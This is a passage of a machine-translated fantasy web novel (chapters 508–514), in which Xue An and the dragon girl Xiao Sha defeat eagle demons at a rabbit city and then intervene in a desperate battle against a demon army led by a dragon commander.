    Unexpectedly, when she came back, not only Dongbinzhou could not be saved, but the other three state capitals also fell.


    Is your Highness still well now?


    At this point, Zhang Xiaoyu was extremely anxious.


    "Master Xianshi, we can''t delay any longer, we have to find a way to rescue the Highness quickly!"


    Xue An nodded, then smiled at the town lord Rabbit, "Then how do I get to this East Binzhou?"


    The city lord Rabbit shook his head helplessly, "This son, I don��t know what you think, but you are definitely sending you to death. Let��s not say that Dongbinzhou is very far away from this road. Just because the front line is now fighting, you make life difficult for!"


    "Why are you so **** nonsense? Our boss asks you how to go, and you just say it straight! If you talk nonsense, I will get your rabbit hair down!" Xiao Sha said coldly.


    This guy''s temper is getting more and more grumpy now.


    Hearing her say this, several rabbit guards approached with unkind expressions.


    The city lord rabbit waved his hand, motioning them not to come, and then said lightly: "If I''m not mistaken, the girl should be transformed by a dragon!"


    Xiaosha raised her face proudly, "So what?"


    "Even in this demon world, flood dragons are very rare, but what I want to tell you is that this demon invasion has completely destroyed several flood dragon territories. I heard that even those who don��t know how long have survived. The mighty dragons have been arrested..."


    Santos Rabbit didn''t finish speaking, but the meaning was already obvious.


    Even those powerful dragons have been arrested. You are a fledgling little yellow dragon, what are you crazy about here?


    Xiao Sha''s focus is not here, her complexion gradually darkened.


    "You mean... my people have also been arrested?"


    "Not also, but all!"


    "Very good! I''m going to kill these monsters!" Xiao Sha said angrily, and then looked at Xue An.


    Xue An didn''t speak, but turned his head to look at the sky outside the window, and said lightly: "City Lord, it seems that a monster race is coming to trouble you!"


    The lord of the city rabbit was taken aback, but he heard a few eagle hums from Jiu Tianzhi before he understood what was going on.


    The eagle''s voice was so sharp that all the rabbit spirits in the hall were completely discolored.


    The lord Rabbit stood up suddenly, and said with a face full of disbelief: "What''s going on! With the guardian of the city moat, these eagles can''t find it here!"


    As a creature with many natural enemies It is not easy for rabbits to become sperm.


    Therefore, they live very cautiously.


    Take this Jubi City as an example, basically it will change place every ten years.


    The location this time was moved last year.


    Moreover, this city lord Rabbit has spent a lot of money to build a large defense formation, which can effectively resist the invasion of natural enemies.


    For example, this eagle, under the protection of the mountain guard, they shouldn''t be able to see here.


    But now it''s too late to say anything, the lord Rabbit rushed out of the hall with many rabbit spirits and came to the high platform.


    really.


    Above the Nine Sky Blue Underworld, dozens of small black spots are hovering.


    Although separated so far.


    But the fear engraved in the bones still made these rabbit spirits tremble slightly, and their eyes were full of panic.

 Chapter 509： Im afraid the hooligans are educated

    At this time, these black spots on the sky began to fall rapidly.


    Soon you can clearly see the form of these giant eagles.


    The wings of these giant eagles stretch out for more than 30 meters, and the eagle claws are huge like a car.


    This scene also attracted the onlookers of Juebi City.


    Both the human race and the monster race crowded onto the street, raising their faces and staring blankly.


    I saw these giant eagles hovering above the sky, and then heard a leading giant eagle laugh strangely.


    "City Lord Juebi, long time no see!"


    The city lord rabbit took a deep breath, and his whole body gradually became larger, and his aura became stronger and stronger.


    "Yingqi, you are not dead yet!"


    "Hehe, even if you die, I can''t die! Tsk tsk, what a big handwriting, I was willing to lay such a powerful defense circle, but unfortunately, you still can''t hide our eagle eyes!"


    Castellan Rabbit''s complexion was uncertain.


    Because it knows how powerful this Eagle Seven is.


    In fact, in the entire Huangsha Mansion, it is these flying guys that can truly threaten the survival of the Rabbit Monster clan.


    Although the snake monsters are powerful, they are basically in Zhongshan Prefecture, and there are few in Huangsha Mansion.


    "Hey, is this the three princesses? Tsk tsk, I really admire the reproductive ability of your rabbit spirits. After eating your two sons, now you have offspring! I don��t know how this little girl tastes like. "Ying Qi laughed arrogantly.


    The Lord Rabbit trembled all over.


    Its two sons were indeed buried under the claws of the eagle.


    The third prince was furious, "You bunch of beasts, it turns out that both of my brothers were eaten by you! Give my brother his life!"


    With that, a group of brilliance appeared in the hands of the third prince, and then went straight to the Eagle Seven.


    Yingqi laughed loudly, "Do you dare to be presumptuous in front of your Yingqiye with this ability?"


    Guanghua approached, and the Eagle Seven''s wings flapped slightly to destroy it.


    Just waiting to dive down and grab the third prince.


    On the back of another smaller giant eagle, a person shouted: "Seven Eagles are merciful, you promised me that you will give me this rabbit monster!"


    Everyone turned to look.


    It was a human man with a handsome face.


    The three princes were frightened and roared, "Wu Jianyan! You bastard! You brought these eagle monsters! No wonder they can see through the great defense formation!"


    Wu Jianyan''s face paled when he was scolded, and then he said arrogantly, "So what? Those who know the current affairs are brilliant, these eagle monsters are much stronger than your rabbit monsters. I can''t rely on them too much. Your Royal Highness, as long as you give up resistance, Lord Eagle Demon will not hurt you! I will treat you well forever..."


    "I''m pooh! Even if I die, I won''t be with people like you!" the third prince said angrily.


    Rabbit Xiaobai...


    This name made Xue An feel helpless to complain.


    One Zhang Xiaoyu, one Rabbit Xiaobai.


    Can''t the name be a little new?


    Yingqi laughed loudly, "The surname is Wu. It seems that you are in vain planning. You might as well give me this little rabbit. Don''t you know how delicious these little bunnies with thin skin and tender flesh taste! It''s simply the supreme beauty..."


    Before the words fell, a fiery arrow flew across the sky and nailed directly onto Yingqi''s abdomen.


    After a crisp sound of gold and iron, the arrow landed, but the flames ignited the feathers on Yingqi''s body.


    "Damn it, who dare to damage my feathers!" Ying Qi was furious, and he flapped his wings several times, and the flame went out under the strong wind.


    On the ground, Shen Langjun put down his bow and arrow, shook his head with some regret, "I didn''t shoot!"


    Then Shen Langjun threw the bow and arrow away, took a deep breath, pointed at Wu Jianyan and Ying Qi and yelled at them.


    When it comes to cursing people, ten monster races may not be as powerful as a human race when tied together, not to mention that Shen Langjun has read books.


    As the saying goes, hooligans are not scary, just because they are educated.


    People who have a culture are stronger than ordinary people.


    This Shen Langjun greeted Ying Qi and Wu Jianyan''s direct and collateral female relatives in a very sincere language.


    Moreover, the sharp language, the rigorous wording, and the impeccable logic make people feel like they are on the scene.


    At the beginning, Wu Jianyan still thought of refuting a few words.


    But soon.


    He was defeated by Shen Langjun''s language offensive.


    And that Yingqi was even more speechless, unable to speak even when he was scolded.


    A quarter of an hour later.


    Shen Langjun shouted at Wu Jianyan: "You are the spy of the rabbit tribe, the shame of the human race, you are not even worthy of being called a human, I am ashamed of you as a team! You are only worthy to hang out with these flat-haired beasts! Everyone said I was right!"


    "Correct!"


    There was a deafening echo from the crowd in the street.


    Tu Xiaobai, her mother, and the city lord Rabbit Demon watched this scene blankly.


    what happened?


    Shouldn''t this be the battlefield between our rabbit demon clan and the eagle demon?


    Why are these human races filled with righteous indignation and anger?


    At this time, the human race old man shouted at the city lord rabbit demon: "City lord, you have been good to our human clan over the years, and it is our turn to repay you this time!"


    "Correct!"


    There was a corresponding sound below, and then there was a grumpy man, who went up to the tree, went up to the room, and shot a bow or arrow or threw a stone.


    In short, they all glared at these eagle demons.


    Ying Qi was originally scolded by a Buddha who was born with two Buddhas and ascended to heaven, but now he has been insulted by a group of small people, and it is even more angry.


    "Very good, then today I will kill the Seven Eagles, let you know how powerful the Sky Overlord is!"


    Ying Qi roared, his body suddenly began to grow.


    Soon it was a hundred meters in size, and then swooped down with a grinning smile, preparing to take the knife with the kid who had just insulted him.


    Near.


    Getting closer!


    As long as he gets closer, his own eagle claws can easily grab this weak human being, and then tear it to pieces in mid-air.


    Ying Qi was secretly happy in his heart.


    Suddenly a beautiful girl appeared in front of Shen Langjun.


    Ying Qi''s moment of effort in his heart had already rushed to the girl.


    The girl smiled sharply at it, stretched out her hand to catch its olecranon, and then shouted.


    "Give me...come down!"


    boom.


    As soon as the girl used her arms, she grabbed the Eagle Seven''s olecranon and pulled it off.


    Ying Qi was frightened and fluttered his wings trying to break free.


    But although this girl is delicate, her arms are like cast iron, no matter how hard she struggles, she can''t move.


    Yingqi was so scared that he was out of his mind.


    How is this possible?


    Who is this girl?

 Chapter 510： Grace is so handsome

    At this moment, everyone also watched this scene in shock.


    Because Xiaosha''s figure was so inconspicuous compared to this giant eagle.


    But it was such a delicate body that he caught the giant eagle for life.


    At the same time, Xiao Sha gave a burst and suddenly moved up.


    The Eagle Seven felt a huge force coming, the whole body was lifted up, and then fell heavily.


    boom.


    In the smoke and dust everywhere.


    Ying Qi was smashed all over, sour and limp, but at any rate he broke free of Xiao Sha''s restraint, and wanted to fly again.


    But at this moment, Xiaosha jumped up and landed directly on Yingqi''s head, "Don''t move, move your head carefully!"


    Yingqi was stiff, and he really didn''t dare to move.


    All this from beginning to end, just a few blinks.


    Xiao Sha stepped on Ying Qi''s head and curled his lips in disdain, "Just like you, you dare to be the overlord of the sky?"


    Rabbit Xiaobai looked at the stars, "Wow, my benefactor is so handsome..."


    Shen Langjun stood awkwardly, not knowing how to describe his feelings.


    The remaining eagle demons were all frightened and angry.


    "Quickly let go of the Seven Eagles, otherwise if the military situation is delayed, you will never exist again!" An eagle demon said angrily.


    Military situation?


    Xue An raised his eyebrows slightly.


    interesting!


    Wu Jianyan also yelled: "Seven Eagles are carrying the life of Lord Yaoshuai, if there is a mistake, you are ready to die!"


    These words made the town lord Rabbit Demon look gloomy.


    The other people looked at each other, not knowing what to do.


    Xiao Sha sneered, "Why, let you show off and show off so we can''t resist?"


    "Banshee, you are very powerful, but you must be clear that your strength is not worth mentioning compared to the adult who is in charge of the entire demon clan!" The subdued Yingqi sneered at this time.


    From its point of view, he just suffered a negligent loss, so he followed the way of this banshee.


    And now she has subdued herself, but she still has so many subordinates!


    Thinking of this, it couldn''t help but groan.


    It means to order this group of men to start an attack.


    As long as you confuse the current situation, you can escape!


    That''s what Ying Qi planned.


    Its subordinates also act like this.


    But just when they were about to dive down.


    Xue An said lightly: "I was about to go to the front to have a look, so you guys came here to deliver food! Not bad!"


    Hearing what he said, Ying Qi turned his eyes vigorously, and glanced at Xue An, a little disapproving.


    It''s a mere human race, why...


    Yingqi''s thoughts were interrupted.


    Because in front of its eyes, countless white lights gradually emerged.


    These lights are bright and moving, and they are very beautiful.


    But Ying Qi saw the infinite murderous in it.


    This... this is Jian Qi!


    That kind of invincible sword energy that only human race can do!


    And there are so many, it''s almost like a sea of ??sword energy!


    Yingqi began to tremble all over.


    Just as shocked as it were the Lord Rabbit Monster, Tu Xiaobai and all the onlookers.


    Even Shen Langjun slowly widened his eyes.


    Why does this very talkative Xiongtai suddenly seem to be a different person?


    The eagle shook his heart and let out another eagle hum.


    This is to make all the subordinates run quickly.


    These giant eagles also felt the terrifying power of the boundless sea of ??swords below, and they were all horrified by it. Hearing the boss''s instructions, they naturally fled in all directions.


    Xue An just said indifferently: "Want to run? Sword Qi cage!"


    With Xue An''s order.


    The sword energy floating around him soared into the sky, then divided into dozens of rays of light, and went straight to these giant eagles.


    Although the speed of these giant eagles is very fast.


    But compared with Jian Qi, it was almost as slow as a snail.


    In a moment, all the giant eagles were enveloped by sword aura, and then let out a mournful cry, and then fell like rain.


    boom.


    The square in front of the city lord''s mansion was like dumplings, and dozens of giant eagles fell down.


    Wu Jianyan also screamed and fell to the ground.


    Xue An stood with his hand in hand, and came to Ying Qi, whose eyes were full of horror, and said indifferently: "What do you mean by military fate and monster commander?"


    Yingqi trembled, "No... I can''t say it! I''ll be dead if I say it!"


    Xue An smiled slightly and said to Xiaosha: "Hit it!"


    "Good!" Xiao Sha raised his fist excitedly.


    boom.


    With a punch, Ying Qi''s head shed blood.


    "Want to talk now?"


    "I����."


    "Continue to fight!"


    Boom boom boom!


    "I said I said!" Ying Qi shouted, with blood all over his face.


    Because it is really scared.


    The man watched so quietly from beginning to end, without the slightest sorrow or joy in his eyes.


    But this feeling made Yingqi feel uncomfortable to vomit blood.


    It has no doubt that if he doesn''t say it, then this man will definitely kill himself.


    "I was sent by the demon commander, to find out if there is a strong monster clan, so that I can go to support the front line! I just met this Wu Jianyan, and he kept saying that Juebi City is nearby because of me and The lord of Jube City has had a grudge, so he wants to stop by and have a look!"


    "Is that so?"


    Ying Qi nodded.


    "Then who is your demon commander?"


    Yingqi trembled all over, "It''s Mrs. Bones!"


    Hearing this name, the lord of the town rabbit exclaimed, "Madame Bone actually came out of the mountain?"


    Ying Qi nodded.


    "Is this Madame Bones very powerful?" Xiaosha asked.


    The city lord Rabbit said palely: "Very powerful! It can be said that she is the number one banshee in the entire monster clan secret realm! But hundreds of years ago, she had already retired, and she did not expect that she would also come out this time. Now! It can be seen how powerful the demons are!"


    Xue An said indifferently at this time: "Are you convicted of a crime in an attempt to harm innocent people under the guise of military order?"


    Yingqi trembled, "Convict!"


    "Well, I will give you a chance to atone for your sins!"


    "Thank your lord!"


    But after Xue An took everyone on the back of the giant eagle, the eagle Qi was dumbfounded.


    "My lord, you are going to..."


    "Naturally, I went to the front line!" Xue An said lightly ~ www.novelhall.com ~ Yingqi almost cried in fright. "My lord, if the commander knows about this when I go back, I will definitely be stripped. Made into barbecue!"


    "Relax! I will definitely not tell you the commander-in-chief!"


    Ying Qi was deeply regretful, but didn''t dare to disobey Xue An''s order, so he had to obediently bow his head.


    Xue An nodded, "Goodbye!"


    The lord Rabbit nodded and thanked him sincerely: "Thank you, my lord, for your help. It''s a smooth journey! It''s just that the battle on the front line is fierce, so you have to be more careful!"


    The rabbit Xiaobai cried and shouted to go with him.


    Santos Rabbit said nothing, and finally, Rabbit Xiaobai grabbed the wings of the giant eagle, and said pitifully to Xiaosha.


    "Gong, I''m waiting for you to come back here!"


    Xiaosha got goose bumps all over her body.

 Chapter 511： Elephant Demon 1 family, willing to fight!

    The giant eagle took off and flew into the distance.


    Santos Rabbit and Shen Langjun and others watched quietly.


    Just listen to Tu Xiaobai muttering: "I don''t know if my benefactor will come back to pick me up!"


    Shen Langjun: "..."


    At this moment, on the square in front of the city lord''s mansion, a man staggered to his feet and shouted frantically to the sky.


    "Seven Eagles, I am here! Why do you leave me alone!"


    It''s a pity that these giant eagles have already flown away, and no eagle demon heard his cry, and even if they did, they would not come back to pick him up.


    Shen Langjun squinted his eyes and looked at Wu Jianyan who was yelling and screaming very excited, and said quietly: "My Lord, what do you do with this guy?"


    City Lord Rabbit said indifferently: "I haven''t seen him, you can deal with it yourself!"


    With that, he turned and returned to the house.


    This is an expression of a tacit attitude.


    Shen Langjun went down the steps and walked slowly towards the square.


    Following him, there were many ugly bunny monsters and crowds watching the excitement.


    Wu Jianyan looked desperately at the eagle demon going away, his tone changed from pleading at the beginning to yelling, and finally weeping.


    Crying and crying, he realized that his surroundings had become very quiet, and he waited to look up.


    There were people standing all around him.


    And these people all looked at themselves with a bad face.


    The leader is his former rival, Shen Langjun.


    Wu Jianyan became stiff, and a flattering smile gradually appeared on his face.


    "Shen... Brother Shen."


    Shen Langjun looked at him coldly, before he finished speaking, he stretched out his hand and said, "It''s a punch!"


    Several rabbit monsters rushed up first.


    Although the rabbit demon clan is the last in the demon world in combat power, it is still not a problem to deal with an ordinary person.


    After a few strokes, Wu Jianyan screamed horribly.


    At the same time, these crowds who watched the excitement were unwilling to be lonely, and all came up.


    "Kill this turtle grandson!"


    "Give me some time, let me kick it too!"


    Shen Langjun didn''t do anything.


    These crowds alone completely overwhelmed Wu Jianyan.


    At the beginning, Wu Jianyan''s screams could be heard, but after a while, there was no more sound.


    Wait for the crowd to disperse.


    Wu Jianyan''s whole body was trampled down, and he had long since died.


    This is the front line in the hinterland of Zhongshan Prefecture.


    Before yesterday, it was still a paradise for the demons.


    But today, except for the scorched ground, there is not even a trace of life here.


    Mrs. Bones stood on the makeshift city wall and looked far away.


    As far as the eye can see, it is barren and crowded.


    At this moment, most of Zhongshan Prefecture has become a Jedi, completely under the iron hoof of the demon.


    And Mrs. Bone knew very well that if the demon strikes again, the coalition forces that are already on the verge of collapse will absolutely not be able to resist, and they will probably be defeated again.


    By then, Zhongshan Prefecture will also fall.


    The entire demon world will only be left with the impoverished Huangsha Mansion and Chuanpingzhou.


    Chuanpingzhou, as the name suggests, is a map of Pingchuan without risk.


    At that time, how should these exhausted coalition forces face the powerful monster offensive?


    Mrs. Bones was worried.


    "Madam, just now the Snake Monster clan sent a letter saying that they have no power to fight anymore!"


    "What about the others?" Mrs. Bone said lightly.


    "The stone demon clan is about to extinct, and other trees such as the tree fairy and flower elves are almost at their limit. As for the tiger wolf demon clan, they have lost almost yesterday!" The reporter said with a sad face.


    Mrs. Bone was silent for a long time, and then nodded, "I see, go on!"


    "Madam, why don''t we retreat to Chuanping! If the monster army strikes again today, we will definitely be defeated!" A demon clan whispered.


    Mrs. Bone took a look and said that it was an elder of the Fox Demon Clan, but now he looked miserable enough, with a huge claw mark on his face, which turned his originally handsome face into a hideous look.


    Mrs. Bone knew that in the entire demon world, the fox monsters and the sea monsters were the two races that suffered the most damage.


    Because the monster first appeared in Dongbinzhou.


    The fox demon tribe and the sea demon tribe are the two most powerful demon tribes in East Binzhou.


    It can be said that their two races joined forces to block the initial attack of the demon.


    But for this reason, when Dongbinzhou falls.


    Basically, the royal families of the Sea-Monster and Fox-monsters didn''t run out, and they were all caught by the monsters.


    This elder fox demon escaped by chance.


    For such a great achievement, Madame Bones must also maintain a respectful attitude.


    "Elder Fox, why don''t I want to retreat? But Chuanpingzhou''s defensive line has not been established. If we retreat now, the consequences will be unimaginable!"


    "Besides..." Mrs. Bone paused, "The demons and human races on the land behind us have not yet completed their retreat. If we retreat, they will be exposed to the iron hoof of the demons. What tragedy..."


    Mrs. Bone did not finish, because she believed that the fox elder must understand what it meant.


    After all...in Dongbinzhou, didn''t the little monsters of the fox demon clan just get caught off guard and were mostly slaughtered by the monster army?


    Elder Fox looked sad, and said after a meeting: "If this is the case, then I will stay guarded. Madam will **** the demons to retreat together with her elite power!"


    "No, when I took up this post, I swore that I would live and die with everyone, and I would never leave!" Madame Bone said categorically.


    "But..." Elder Fox still wanted to insist.


    "Nothing! I know what Elder Fox meant. You want to sacrifice yourself to preserve your vitality, but what''s the point? If you retreat here today, and the monster army will attack tomorrow, do you want to retreat from Chuanping again?" Mrs. Bones whispered.


    Elder Fox bowed his head speechlessly, and sighed after a while: "It would be great if there was a new force at this moment!"


    Mrs. Bones was also a little silent.


    She has sent many people to the rear to find the monster race who is still capable of fighting, but hope is very slim.


    Because the monster races in Chuanpingzhou are generally made from plants and trees, this kind of monster race is good at assisting, but it does not have much combat effectiveness.


    And Huangsha Mansion is even more unbearable, where all the little monsters such as rabbit monsters live.


    At this moment, Mrs. Bones felt a cold on her forehead, and she was shocked.


    When I looked up at , I saw large black clouds rushing from a distance, quickly covering the entire sky.


    In the distant sky, those tall monsters faintly appeared.


    "Enemy attack!" The shrill shout shook the entire camp.


    But this time, all the monster races looked blank.


    They have been fighting for too long, they are all wounded, and they have little strength to fight again!


    This time the demons came again, and they saw no hope of victory.


    Mrs. Bone slowly pulled out her bone sword, her expression stern.


    She was going to fight herself in battle.


    At this time, a burly man who had to be more than three meters tall in human form walked slowly to the city wall, gently bowed his head towards Madam White, and said in a tired and firm tone.


    "Madam, like a demon clan, willing to fight!"

 Chapter 512： All listen to the order, follow me!

    This brawny man was covered with various wounds, some of which were deeply visible, while others had begun to fester.


    Even so, the eyes of this brawny man were surprisingly calm, calm enough to be alarming.


    Mrs. Bone''s heart that had been practicing for a thousand years, thought that there would be no more fluctuations, couldn''t help but tremble slightly at this moment.


    If anyone among the entire demon clan coalition forces has suffered the most losses, then the elephant demon clan is definitely ahead.


    The flesh of the Xiang Yao clan is very powerful, and only they can barely resist the impact of the monsters.


    Therefore, in every battle, these tall elephant monsters stand at the forefront of the team.


    With their flesh and blood, a solid barrier was constructed.


    After such a series of battles, this powerful ethnic group has been wounded and killed, and even those who survived are already extremely exhausted.


    Faced with such a population that is about to be extinct, even the cold-hearted Madame Bone is embarrassed to give orders.


    Unexpectedly, Xiang Yao actually asked Ying to leave the station.


    "Your Excellency Elephant King, you..." Mrs. Bone said hesitantly.


    The elephant king shook his head slightly, looked at the monster army approaching in the distance, and said in a plain tone.


    "Madam, my son, nephew, and even the whole elephant demon clan have basically died in battle. I watched them die in front of me one by one! Now, it''s my turn!"


    Elephant Wang paused, "Madam, if you can, I hope you can bring our bodies back. I don''t want my bones to be the spoils of those demons!"


    Madame Bone suddenly didn''t know what to say, so she nodded vigorously.


    Elephant King smiled, then turned and walked forward.


    Behind him, dozens of scarred elephant demon walked slowly.


    The rain is getting heavier.


    The elephant king suddenly sang softly.


    As he sang, these elephant monsters uttered deafening elephant sounds.


    Mrs. Bone knew that this was the battle song of the demon.


    Once you sing, you will never die.


    Mrs. Bones trembled slightly, took a deep breath, and was about to order.


    From within that city gate, the snake demon, tiger demon and wolf demon all walked out.


    These monsters were all covered with scars, but their faces were also calm.


    "Madam, the snake monster clan, willing to fight!"


    "Tiger demon clan, willing to fight!"


    "Wolf demon clan, willing to fight!"


    "..."


    Madame White Bone''s eye sockets suddenly became hot, and hot liquid dripped from the dry eye sockets.


    strange.


    Am I not crying anymore?


    So what is this liquid?


    Is it because of these stupid guys?


    Knowing that he will die, but never moving forward.


    It''s so stupid.


    But... no matter how stupid they are, they shouldn''t die in the hands of demons!


    The wind and rain passed through the middle of the team, and then flew to the darker and darker sky.


    Mrs. Bone took a deep breath, slowly raised the bone sword in her hand and pointed forward.


    "Everyone listens to the order, let me attack!"


    The army of demons came like a torrent.


    The elephant demons roared and showed themselves.


    The giant elephant tens of meters in height is like giant pillars standing upright in the sky, blocking this torrent to death.


    But after a while, several elephant demons wailed, and then slowly fell down, unable to stand up anymore.


    The elephant king has the tallest body, and the most demons die at his feet.


    It can be seen that the members of his tribe are beginning to fall one by one, and the elephant king can''t help but be in grief and anger, roaring and trying to rescue him.


    These monsters besieged him tightly, making him unable to save.


    At the same time, many demons took advantage of the chaos to attack, leaving new scars on his already scarred and huge body.


    The elephant king''s movements gradually slowed down.


    The continuous battles these days have drained his last bit of potential.


    He is now at the end of the crossbow, supported by anger.


    "This elephant king can''t hold it anymore, his ivory is a good thing!" A demon saw the clue and shouted excitedly.


    For a time, the attack went violently by three points.


    The king of elephant is standing on the left and clumsily on the right, and his eyes are blackened.


    He knew that he really couldn''t do it anymore.


    At this moment, a demon secretly turned to the side of the elephant king, jumped up, and launched a sneak attack.


    If this blow is hit, the elephant king will definitely fall.


    And as soon as he fell, he would never think of standing up again.


    At this moment, a white light flashed, directly cutting the monster into two sections.


    "Madam..." Xiang Wang stared blankly.


    Mrs. White Bone smiled at him slightly, and with a few more swords, all the monsters in front of him were beheaded.


    A tiger demon with one eye already blind laughed and said, "Big silly elephant, you usually have to withstand the impact in front of you, this time it''s us!"


    "Tiger Demon King..." Xiang Wang whispered to himself, and then couldn''t help but laugh.


    "Tabby cat, are you still alive?"


    "You can''t die, you have to kill a few more monsters!" The tiger demon smashed a demon''s head with one claw, and said lightly.


    This scene is happening everywhere on the front line.


    The original fierce monster attack could not help these bruised and bruised demon coalition forces.


    The scene fell into a stalemate.


    Can be over time.


    The scale of victory is gradually tilting towards the monster.


    Although the Yaozu coalition has the heart to fight to death, the spirit is not enough to make up for such a big gap.


    The casualties are increasing rapidly, but no one takes a step back.


    At this time, the Tiger Demon King was exhausted, and a demon sneaked behind him and wanted to attack.


    But its plan hadn''t succeeded, it was crushed by the rushing elephant demon.


    The Tiger Demon King grinned, "Thank you!"


    As soon as the words fell, several demon thorns pierced out of the front of the tiger demon.


    The Tiger Demon King looked down, his eyes gradually dimmed.


    "Big tabby cat!" The elephant king shouted and was about to rush over.


    The Tiger Demon King smiled, "Xiang King, I''m leaving!"


    After all, his whole body began to swell rapidly, and then exploded.


    The demon behind the successful sneak attack was originally triumphant, but he couldn''t imagine that the Tiger Demon King actually chose to explode at the last minute.


    The demon was blown to smash all at once.


    It seems to be a start One after another gorgeous fireworks began to bloom above the front line.


    Those are all monsters who choose to blew up.


    These demons couldn''t help but feel a little bit afraid at the moment.


    Because these monsters are simply terrifying.


    The indifferent expression on his face and the expression that regarded death as home made these monsters incomprehensible!


    What are these monsters going to do?


    Are they not afraid of death?


    You must know that these monsters are actually monster races, but they came here from other worlds and are considered intruders.


    Tracing back to the source, they are all monsters.


    Therefore, it is naturally impossible to understand what these monsters are for.

 Chapter 513： Devil dragon night

    The monster army launched another charge.


    Madame Bone and other demons are like dead trees in the torrent, falling down at any time.


    "Madam, go quickly, if you don''t leave, it''s really too late!" Elder Fox persuaded again.


    Mrs. Bone also didn''t answer, but instead spurred the bone sword in her hand with all her might, killing a dozen monsters with a single sword, and then panting heavily with her pale face.


    She silently expressed her attitude with her actions.


    Elder Fox sighed, knowing there was no way to persuade him, so he gritted his teeth and started fighting hard.


    But at this moment, the monster clan wailed in despair, "Look at the sky!"


    Mrs. Bones waited for the demon to look up.


    I saw a large swarm of demons flying in the sky.


    These demons are obviously stronger than the ones on the ground.


    In the blink of an eye, he flew over the battlefield, then divided into two teams, dodge the middle road.


    A huge chariot led by three black vultures slowly flew from the road in the middle.


    Sitting on the top of the chariot was a high-level demon with a slender body and a handsome face.


    This monster looked condescendingly at the battlefield below, a cold smile appeared at the corner of his mouth.


    "You guys surprised me, you can persist until now!"


    The voice shook the four fields.


    Many demons on the ground all knelt to the ground, worshipping piously toward the sky.


    This kind of momentum made Madam White Bone''s complexion more solemn, and asked in a deep voice, "Who are you!"


    "Me?" The corners of the high demon''s mouth raised, and he smiled proudly.


    "I am the commander of this demon army. I come from the noble dragon family. You can call me Ye Qingjiang."


    The magic dragon...


    Madame Bone''s pupils shrank sharply.


    Because she knew that the Devil Dragon was an extremely powerful race, very rare in this monster clan secret realm.


    And looking at the appearance of Ye Qingjiang, it is obvious that it has been transformed for a long time, and his strength is absolutely unfathomable.


    "To be honest, I admire you very much, as long as you are willing to surrender, I can consider forgiving you not to die! After all, you are also a monster race, which is of the same origin! How?" Ye Qingjiang said lightly.


    Mrs. Bone sneered, "surrender? Then give you this group of demons as lackeys and give up the homeland of our generations?"


    "The weak eat the strong, the fittest survive! This is an unbreakable truth. As a monster, don''t you even know this?" Ye Qingjiang said coldly.


    "Then the truth you are, not ours!"


    Ye Qingjiang frowned slightly, "So, you are determined not to surrender?"


    Mrs. Bone turned and looked at the men behind her.


    The demons all laughed.


    Then a wolf demon rushed towards Ye Qingjiang and stretched out his **** viciously, "Little dragon cub, grandpas died in battle and won''t wait to surrender to you!"


    Ye Qingjiang nodded blankly, "Okay, then you go to death!"


    Give an order.


    Upon hearing the wind, the army of demons moved straight towards Madame Bones and waited for the demons.


    Mrs. Bone and the remaining Yaozu stood side by side, preparing for the final fight.


    But at this moment.


    Some snowflakes suddenly fell from the sky, and in the blink of an eye, the whole world was flooded.


    what happened?


    Why is it snowing suddenly?


    Many monster tribes were stunned, and saw that these snowflakes suddenly bloomed together, and dazzling sword qi radiated from it, forming a sea of ??sword qi.


    Moreover, these sword auras were also very targeted. They didn''t hurt Madame Bone and other demons, but went straight to the demons army.


    After a intensive sound of golden and iron mingling, they saw that these monsters had no power to fight back in front of this sword-qi ocean, and they were directly cut into powder.


    Ye Qingjiang, who had been sitting on the chariot with an indifferent expression, was full of divine light in his eyes at this time, and shouted in anger, "Who?"


    "The one who killed you!" A calm voice came from the sky, resounding throughout the whole world.


    Then dozens of giant eagles appeared in the sky, flying to the front in the blink of an eye.


    On the leading giant eagle, Xue An stood with his hand in hand.


    Ye Qingjiang''s eyes were startled and uncertain.


    Because he couldn''t understand Xue An''s details.


    This man seemed to be a human, but his aura was extremely shocking, obviously not easy to provoke.


    "Who are you?" Ye Qingjiang asked in a deep voice.


    Xue An ignored him, but said lightly: "Xiaosha, this guy is a bit interesting!"


    Following his voice, the giant eagle carrying Xiaosha flew over. Xiaosha standing on it took a few glances at Ye Qingjiang, and then nodded.


    "Boss, this guy is a dragon!"


    Ye Qingjiang didn''t care at first, but after seeing Xiaosha, he couldn''t help shaking all over, and then he was stunned.


    Because he had never seen a dragon with such a pure aura.


    Especially after Xiaosha turned into a human form, his beautiful appearance was deeply attracted to this Ye Qingjiang.


    Dragons are inherently obscene, and this night Qingjiang is naturally no exception.


    His eyes were full of naked possessiveness when he saw Xiaosha, and he was almost drooling on the spot.


    Xiaosha naturally felt this too, and Liu''s eyebrows gradually erected, and said sensibly, "Look at whether or not I''ll take your eyes out?"


    Ye Qingjiang regained consciousness, and then laughed proudly.


    "A small dragon, dare to talk to the noble dragon lord like this, little girl, you successfully touched me, I will play with you, let you know..."


    Before he finished his words, Xiao Sha had disappeared in place, and when he reappeared, he had already arrived in front of this Ye Qingjiang, and then blasted out with a punch.


    boom.


    Ye Qingjiang never expected that this weak-looking little flood dragon would actually be so cruel in his shot.


    This punch hit his head, directly blasting him out of the chariot.


    "Ahhhh, you humble dragon, you dare to hit me, you are dead, I must turn you into my dragon slave, let you forever..." Ye Qingjiang in the mid-air You have to scream and wait to fight back.


    But Xiao Sha was extremely fast, and rushed directly again, with a condescending punch.


    boom!


    This punch directly blasted Ye Qingjiang down from mid-air and slammed directly into the ground, forming a huge human-shaped pit.


    Then Xiao Sha stood in the air with her hands on her hips, and said with a cold face: "You dare to molest the old lady even with this ability?"


    The audience was silent.


    People looked at the domineering Xiaosha foolishly.


    Mrs. Bone charged the equally stunned Snake Demon King and said, "This...Is the little girl really a flood dragon?"


    The Snake Demon King nodded, "It can''t be wrong, the aura on her body is that of a flood dragon, and it looks like it should be a wild flood dragon from the outside world!"


    "Why is it so powerful?" The Monster Race on the side asked in astonishment.


    "Maybe... it''s because of that person!" Madame Bone raised her head to look at Xue An who was standing on the giant eagle.


    It happened that Xue An was also looking down at the demons.


    The eyes of one person and one demon met.

 Chapter 514： You wait for the demon, who else is not convinced?

    Mrs. Bones was shocked.


    What kind of look is that.


    Indifferent and high above, people have an urge to worship.


    Just when Mrs. White Bone was in a daze, she saw Xiao Sha pointing at the monsters all over the sky, and said coldly: "You wait for the monsters, who else is not satisfied?"


    As implied by the momentum, these monsters actually took a half step back together.


    After all, this petite woman had just personally beaten Lord Demon Dragon into the ground.


    At this moment, I saw that the originally flat ground suddenly bulged up a big bag, and then burst open. A black and black dragon rushed up.


